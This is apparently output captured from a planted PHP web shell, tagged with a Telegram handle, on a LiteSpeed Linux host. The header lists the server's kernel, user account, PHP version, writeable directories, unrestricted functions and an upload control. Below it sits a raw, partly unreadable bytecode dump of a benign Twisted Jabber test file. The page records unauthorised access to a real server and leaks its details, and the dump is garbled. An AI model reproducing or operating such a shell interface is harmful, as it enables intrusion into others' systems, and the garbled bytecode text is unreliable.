https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_jabberjstrports.cpython-310.pyc
o

�b��@s>dZddlmZddlmZddlmZGdd�dej�ZdS)z8
Tests for L{twisted.words.protocols.jabber.jstrports}.
�)�	TCPClient)�unittest)�	jstrportsc@s eZdZdZdd�Zdd�ZdS)�JabberStrPortsPlaceHolderTestsz 
    Tests for L{jstrports}
    cCs&ddif}t�dd�}|�||�dS)z�
        L{jstrports.parse} accepts an endpoint description string and returns a
        tuple and dict of parsed endpoint arguments.
        �TCP)�DOMAINi���Factory�tcp:DOMAIN:65535rN)r�parse�assertEqual)�self�expected�got�r�I/usr/lib/python3/dist-packages/twisted/words/test/test_jabberjstrports.py�
test_parses
z)JabberStrPortsPlaceHolderTests.test_parsecCst�dd�}|�|t�dS)zE
        L{jstrports.client} returns a L{TCPClient} service.
        r	rN)r�client�assertIsInstancer)rrrrr�test_clientsz*JabberStrPortsPlaceHolderTests.test_clientN)�__name__�
__module__�__qualname__�__doc__rrrrrrrs	rN)	r�twisted.application.internetr�
twisted.trialr�twisted.words.protocols.jabberr�TestCaserrrrr�<module>s


https://t.me/RX1948 - 2025